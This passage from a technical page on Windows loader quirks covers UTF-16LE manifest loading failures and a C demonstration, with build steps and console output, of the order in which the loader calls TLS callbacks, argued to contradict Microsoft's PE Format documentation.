    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /EXPORT:quirk22=quirk22 /NODEFAULTLIB
    /out:quirk22.dll
    /dll
    /implib:quirk22.lib
    quirk22.obj
       Creating library quirk22.lib and object quirk22.exp
  7. Repeat step 3. and load the DLL quirk22.dll created in step 6. to demonstrate the (mis)behaviour: [Screen shot of error message from 'RunDLL32.exe' on Windows 7]

    RUNDLL32.EXE "%CD%\quirk22.dll,quirk22"
    OUCH: although the (side-by-side) manifest embedded in the DLL quirk22.dll contains perfectly valid XML, loading of the DLL fails with Win32 error code 14001 alias ERROR_SXS_CANT_GEN_ACTCTX!
  8. Start the console application quirk22.exe built in step 2. to verify its proper function:

    .\quirk22.exe
    ECHO %ERRORLEVEL%
    -123456789
  9. Create the text file quirk22.exe.manifest with the following content in Windows NT’s native UTF-16LE encoding (with or without the Unicode BOM) next to the console application quirk22.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-16LE' standalone='yes' ?>
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
    Note: properly created, the file’s size is 278 bytes with BOM, and 276 bytes without.
  10. Start the console application quirk22.exe built in step 2. again to demonstrate the (mis)behaviour:

    .\quirk22.exe
    ECHO %ERRORLEVEL%
    The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail.
    14001
    OUCH: although the application manifest quirk22.exe.manifest contains perfectly valid XML, loading of the application fails with Win32 error code 14001 alias ERROR_SXS_CANT_GEN_ACTCTX!
  11. Optionally, if you prefer to see this error message displayed in a dialog box, execute quirk22.exe via START: [Screen shot of error message from 'Windows Loader' on Windows 7]

    START quirk22.exe

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 23

Under the heading The .tls section the MSDN article PE Format states:

Note

Statically declared TLS data objects can be used only in statically loaded image files. This fact makes it unreliable to use static TLS data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function.

Executable code accesses a static TLS data object through the following steps:

  1. At link time, the linker sets the Address of Index field of the TLS directory. This field points to a location where the program expects to receive the TLS index.

    The Microsoft run-time library facilitates this process by defining a memory image of the TLS directory and giving it the special name "__tls_used" (Intel x86 platforms) or "_tls_used" (other platforms). The linker looks for this memory image and uses the data there to create the TLS directory. Other compilers that support TLS and work with the Microsoft linker must use this same technique.

  2. When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the FS register. A pointer to the TLS array is at the offset of 0x2C from the beginning of TEB. This behavior is Intel x86-specific.

  3. The loader assigns the value of the TLS index to the place that was indicated by the Address of Index field.

  4. The executable code retrieves the TLS index and also the location of the TLS array.

  5. The code uses the TLS index and the TLS array location (multiplying the index by 4 and using it as an offset to the array) to get the address of the TLS data area for the given program and module. Each thread has its own TLS data area, but this is transparent to the program, which does not need to know how data is allocated for individual threads.

  6. An individual TLS data object is accessed as some fixed offset into the TLS data area.

[…]

The TLS directory has the following format:

Offset (PE32/PE32+) Size (PE32/PE32+) Field Description
0 4/8 Raw Data Start VA The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section.
4/8 4/8 Raw Data End VA The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA.
8/16 4/8 Address of Index The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program.
12/24 4/8 Address of Callbacks The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see TLS Callback Functions.
16/32 4 Size of Zero Fill The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data.
20/36 4 Characteristics The four bits [23:20] describe alignment info. Possible values are those defined as IMAGE_SCN_ALIGN_*, which are also used to describe alignment of section in object files. The other 28 bits are reserved for future use.
[…]

The program can provide one or more TLS callback functions to […]

The prototype for a callback function (pointed to by a pointer of type PIMAGE_TLS_CALLBACK) has the same parameters as a DLL entry-point function:

typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
    PVOID DllHandle,
    DWORD Reason,
    PVOID Reserved
    );

The Reserved parameter should be set to zero. The Reason parameter can take the following values:

Setting Value Description
DLL_PROCESS_ATTACH 1 A new process has started, including the first thread.
DLL_THREAD_ATTACH 2 A new thread has been created. This notification sent for all but the first thread.
DLL_THREAD_DETACH 3 A thread is about to be terminated. This notification sent for all but the first thread.
DLL_PROCESS_DETACH 0 A process is about to terminate, including the original thread.
The initial note is but obsolete and wrong: Windows Vista and newer versions of Windows NT support static TLS data in dynamically loaded DLLs!

The documentation misses the following part for the x64 alias AMD64 processor architecture (and corresponding parts for other processor architectures as well):

  1. When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the GS register. A pointer to the TLS array is at the offset of 0x58 from the beginning of the TEB. This behavior is Intel x64-specific.

The documentation for the ExitProcess() function but ignores TLS Callback Functions completely:
Use the GetExitCodeProcess function to retrieve the process's exit value. Use the GetExitCodeThread function to retrieve a thread's exit value.

Exiting a process causes the following:

  1. All of the threads in the process, except the calling thread, terminate their execution without receiving a DLL_THREAD_DETACH notification.
  2. The states of all of the threads terminated in step 1 become signaled.
  3. The entry-point functions of all loaded dynamic-link libraries (DLLs) are called with DLL_PROCESS_DETACH.
  4. After all attached DLLs have executed any process termination code, the ExitProcess function terminates the current process, including the calling thread.
  5. The state of the calling thread becomes signaled.
  6. All of the object handles opened by the process are closed.
  7. The termination status of the process changes from STILL_ACTIVE to the exit value of the process.
  8. The state of the process object becomes signaled, satisfying any threads that had been waiting for the process to terminate.
The documentation for the ExitThread() function fails to inform about TLS Callback Functions too:
When this function is called (either explicitly or by returning from a thread procedure), […]
The entry-point function of all attached dynamic-link libraries (DLLs) is invoked with a value indicating that the thread is detaching from the DLL.

[…]

Use the GetExitCodeThread function to retrieve a thread's exit code.

The documentation for the GetExitCodeProcess() function states:
If the process has not terminated and the function succeeds, the status returned is STILL_ACTIVE (a macro for STATUS_PENDING […]
The documentation for the GetExitCodeThread() function states:
If the specified thread has not terminated and the function succeeds, the status returned is STILL_ACTIVE. If the thread has terminated and the function succeeds, the status returned is one of the following values:

Demonstration

Perform the following 4 simple steps to show the (mis)behaviour.
  1. Create the text file quirk23.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_MEAN_AND_LEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	LPCWSTR	szReason[4] = {L"process detach",
    		               L"process attach",
    		               L"thread attach",
    		               L"thread detach"};
    
    __declspec(safebuffers)
    VOID	WINAPI	TLSCallback(HMODULE hModule, DWORD dwReason, LPVOID lpUnused)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule = GetModuleFileName(hModule,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwProcess;
    	DWORD	dwThread;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return;
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    	                       _ReturnAddress(),
    	                       &hCaller))
    		szCaller[0] = L'\0';
    	else
    	{
    		dwCaller = GetModuleFileName(hCaller,
    		                             szCaller,
    		                             sizeof(szCaller) / sizeof(*szCaller));
    
    		if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    			szCaller[dwCaller] = L'\0';
    	}
    
    	GetExitCodeThread(GetCurrentThread(), &dwThread);
    	GetExitCodeProcess(GetCurrentProcess(), &dwProcess);
    
    	PrintConsole(hConsole,
    	             L"\n"
    	             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    	             L"\tCalled module  @ 0x%p = %ls\n"
    	             L"\tCalling module @ 0x%p = %ls\n"
    	             L"\tReturn address @ 0x%p = 0x%p\n"
    	             L"\tArguments:\n"
    	             L"\t\tModule = 0x%p\n"
    	             L"\t\tReason = %lu (%ls)\n"
    	             L"\t\tUnused = 0x%p\n"
    	             L"\tThread id = %lu\n"
    	             L"\tThread exit code = %ld\n"
    	             L"\tProcess exit code = %ld\n",
    	             TLSCallback,
    	             hModule, szModule,
    	             hCaller, szCaller,
    	             _AddressOfReturnAddress(), _ReturnAddress(),
    	             hModule, dwReason, szReason[dwReason], lpUnused,
    	             dwThreadId,
    	             dwThread,
    	             dwProcess);
    }
    
    DWORD	_tls_index = ~0U;	// NOTE: updated by the module loader!
    
    const	PIMAGE_TLS_CALLBACK	_tls_callbacks[] = {TLSCallback, NULL};
    
    // BUG: the module loader does NOT support the 'SizeOfZeroFill' member!
    
    const	IMAGE_TLS_DIRECTORY	_tls_used = {NULL,
    				             NULL,
    				             &_tls_index,
    				             _tls_callbacks,
    				             ~0U,
    				             0};
    
    extern	IMAGE_DOS_HEADER	__ImageBase;
    
    __declspec(safebuffers)
    DWORD	WINAPI	ThreadProc(LPVOID lpParameter)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	HMODULE	hCaller;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole != INVALID_HANDLE_VALUE)
    	{
    		dwModule = GetModuleFileName((HMODULE) &__ImageBase,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule < sizeof(szModule) / sizeof(*szModule))
    			szModule[dwModule] = L'\0';
    
    		if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    		                       _ReturnAddress(),
    		                       &hCaller))
    			szCaller[0] = L'\0';
    		else
    		{
    			dwCaller = GetModuleFileName(hCaller,
    			                             szCaller,
    			                             sizeof(szCaller) / sizeof(*szCaller));
    
    			if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    				szCaller[dwCaller] = L'\0';
    		}
    
    		PrintConsole(hConsole,
    		             L"\n"
    		             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    		             L"\tCalled module  @ 0x%p = %ls\n"
    		             L"\tCalling module @ 0x%p = %ls\n"
    		             L"\tReturn address @ 0x%p = 0x%p\n"
    		             L"\tParameter = 0x%p\n"
    		             L"\tThread id = %lu\n",
    		             ThreadProc,
    		             &__ImageBase, szModule,
    		             hCaller, szCaller,
    		             _AddressOfReturnAddress(), _ReturnAddress(),
    		             lpParameter,
    		             GetCurrentThreadId());
    	}
    
    	if (lpParameter == NULL)
    		return 'NULL';
    
    	ExitProcess(WaitForSingleObject(GetCurrentThread(), 123));
    }
    
    #ifdef DLL
    __declspec(safebuffers)
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpContext)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule = GetModuleFileName(hModule,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	HANDLE	hThread;
    	HANDLE	hConsole = GetConsoleWindow();
    
    	if (hConsole == NULL)
    		return FALSE;
    
    	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return FALSE;
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    	                       _ReturnAddress(),
    	                       &hCaller))
    		szCaller[0] = L'\0';
    	else
    	{
    		dwCaller = GetModuleFileName(hCaller,
    		                             szCaller,
    		                             sizeof(szCaller) / sizeof(*szCaller));
    
    		if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    			szCaller[dwCaller] = L'\0';
    	}
    
    	PrintConsole(hConsole,
    	             L"\n"
    	             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    	             L"\tCalled module  @ 0x%p = %ls\n"
    	             L"\tCalling module @ 0x%p = %ls\n"
    	             L"\tReturn address @ 0x%p = 0x%p\n"
    	             L"\tArguments:\n"
    	             L"\t\tModule = 0x%p\n"
    	             L"\t\tReason = %lu (%ls)\n"
    	             L"\t\tContext = 0x%p\n"
    	             L"\tThread id = %lu\n"
    	             L"\tTLS index = %ld\n"
    	             L"\tTLS value = 0x%p\n"
    	             L"\tTLS array @ 0x%p\n"
    	             L"\tTLS block @ 0x%p\n",
    	             _DllMainCRTStartup,
    	             hModule, szModule,
    	             hCaller, szCaller,
    	             _AddressOfReturnAddress(), _ReturnAddress(),
    	             hModule, dwReason, szReason[dwReason], lpContext,
    	             dwThreadId,
    	             _tls_index,
    	             TlsGetValue(_tls_index),
    #ifdef _M_IX86
    	             __readfsdword(44),
    	             ((LPVOID *) __readfsdword(44))[_tls_index]);
    #elif _M_AMD64
    	             __readgsqword(88),
    	             ((LPVOID *) __readgsqword(88))[_tls_index]);
    #else
    #error Only I386 and AMD64 supported!
    #endif
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
    	                       (SIZE_T) 65536,
    	                       ThreadProc,
    	                       NULL,
    	                       0,
    	                       &dwThreadId);
    
    	if (hThread == NULL)
    		PrintConsole(hConsole,
    		             L"CreateThread() returned error %lu\n",
    		             GetLastError());
    	else
    	{
    		PrintConsole(hConsole,
    		             L"Thread %lu created and started\n",
    		             dwThreadId);
    
    		if (!CloseHandle(hThread))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	return TRUE;
    }
    
    __declspec(dllexport)
    const	WCHAR	Quirk23[] = L"Quirk23";
    #else
    __declspec(dllimport)
    extern	WCHAR	Quirk23[];
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	DWORD	dwError = ERROR_SUCCESS;
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	HANDLE	hThread;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwModule = GetModuleFileName((HMODULE) NULL,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule < sizeof(szModule) / sizeof(*szModule))
    			szModule[dwModule] = L'\0';
    
    		if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    		                       _ReturnAddress(),
    		                       &hCaller))
    			szCaller[0] = L'\0';
    		else
    		{
    			dwCaller = GetModuleFileName(hCaller,
    			                             szCaller,
    			                             sizeof(szCaller) / sizeof(*szCaller));
    
    			if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    				szCaller[dwCaller] = L'\0';
    		}
    
    		PrintConsole(hConsole,
    		             L"\n"
    		             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    		             L"\tCalled module  @ 0x%p = %ls\n"
    		             L"\tCalling module @ 0x%p = %ls\n"
    		             L"\tReturn address @ 0x%p = 0x%p\n"
    		             L"\n"
    		             L"\tThread id = %lu\n"
    		             L"\tTLS index = %ld\n"
    		             L"\tTLS value = 0x%p\n"
    		             L"\tTLS array @ 0x%p\n"
    		             L"\tTLS block @ 0x%p\n",
    		             wmainCRTStartup,
    		             &__ImageBase, szModule,
    		             hCaller, szCaller,
    		             _AddressOfReturnAddress(), _ReturnAddress(),
    		             dwThreadId,
    		             _tls_index,
    		             TlsGetValue(_tls_index),
    #ifdef _M_IX86
    		             __readfsdword(44),
    		             ((LPVOID *) __readfsdword(44))[_tls_index]);
    #elif _M_AMD64
    		             __readgsqword(88),
    		             ((LPVOID *) __readgsqword(88))[_tls_index]);
    #else
    #error Only I386 and AMD64 supported!
    #endif
    		hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
    		                       (SIZE_T) 65536,
    		                       ThreadProc,
    		                       Quirk23,
    		                       0,
    		                       &dwThreadId);
    
    		if (hThread == NULL)
    			PrintConsole(hConsole,
    			             L"CreateThread() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"Thread %lu created and started\n",
    			             dwThreadId);
    
    			if (!CloseHandle(hThread))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             GetLastError());
    		}
    
    		WaitForSingleObject(GetCurrentThread(), INFINITE);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
    #endif // DLL
  2. Build the DLL quirk23.dll and its import library quirk23.lib from the source file quirk23.c created in step 1. with the preprocessor macro DLL defined:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB
    CL.EXE /DDLL /LD quirk23.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk23.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk23.c
    quirk23.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    quirk23.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    quirk23.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *'
    quirk23.c(107) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB
    /out:quirk23.dll
    /dll
    /implib:quirk23.lib
    quirk23.obj
       Creating library quirk23.lib and object quirk23.exp
  3. Build the console application quirk23.exe from the source file quirk23.c created in step 1., using the import library quirk23.lib generated in step 2.:

    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk23.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk23.c
    Note: quirk23.exe is a pure Win32 console application and builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk23.c
    quirk23.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    quirk23.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    quirk23.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *'
    quirk23.c(107) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk23.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk23.exe
    quirk23.obj
  4. Execute the console application quirk23.exe:

    .\quirk23.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F968 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 1 (process attach)
    		Unused = 0x00000000
    	Thread id = 3700
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F9A4 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 1 (process attach)
    		Context = 0x0047FCA8
    	Thread id = 3700
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x007E4CA0
    	TLS block @ 0x007FB5A0
    Thread 7816 created and started
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F968 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 1 (process attach)
    		Unused = 0x00000000
    	Thread id = 3700
    	Thread exit code = 259
    	Process exit code = 259
    
    wmainCRTStartup() function @ 0x0023122A
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0047FF10 = 0x7721343D
    
    	Thread id = 3700
    	TLS index = 0
    	TLS value = 0x00000000
    	TLS array @ 0x007E4CA0
    	TLS block @ 0x007E4CD0
    Thread 13192 created and started
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F898 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F8D4 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Context = 0x00000000
    	Thread id = 7816
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x00802840
    	TLS block @ 0x00802870
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F898 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F664 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F6A0 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Context = 0x00000000
    	Thread id = 13192
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x008028A8
    	TLS block @ 0x008028E8
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F664 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 259
    
    ThreadProc() function @ 0x74651148
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0217FC68 = 0x7721343D
    	Parameter = 0x00000000
    	Thread id = 7816
    
    ThreadProc() function @ 0x00231148
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0233FA34 = 0x7721343D
    	Parameter = 0x746530F8
    	Thread id = 13192
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB58 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 3 (thread detach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB94 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 3 (thread detach)
    		Context = 0x00000000
    	Thread id = 7816
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x00802840
    	TLS block @ 0x00802870
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB58 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 3 (thread detach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F4E8 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 0 (process detach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 258
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\quirk23.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F524 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 0 (process detach)
    		Context = 0x00000001
    	Thread id = 13192
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x008028A8
    	TLS block @ 0x008028E8
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\quirk23.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F4E8 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 0 (process detach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 258
    
    0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258)
    Error message text: The wait operation timed out.
    CertUtil: -error command completed successfully.
    Note: the module loader calls the TLS Callback Function TLSCallback() before the entry-point functions of the DLL quirk23.dll and the console application quirk23.exe, and finally also after the latter called ExitProcess()!

    Oops¹: although both StartAddressOfRawData and EndAddressOfRawData members of the _tls_used structure are NULL, i.e. TLS template data is absent, the module loader allocates a TLS block per thread!

    Oops²: contrary to the documentation cited above, the module loader ignores the SizeOfZeroFill member of the _tls_used structure!

    Oops³: contrary to the documentation cited above, the exit code of the not yet terminated process is already set!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 24

The MSDN article /GS (Buffer Security Check) states:
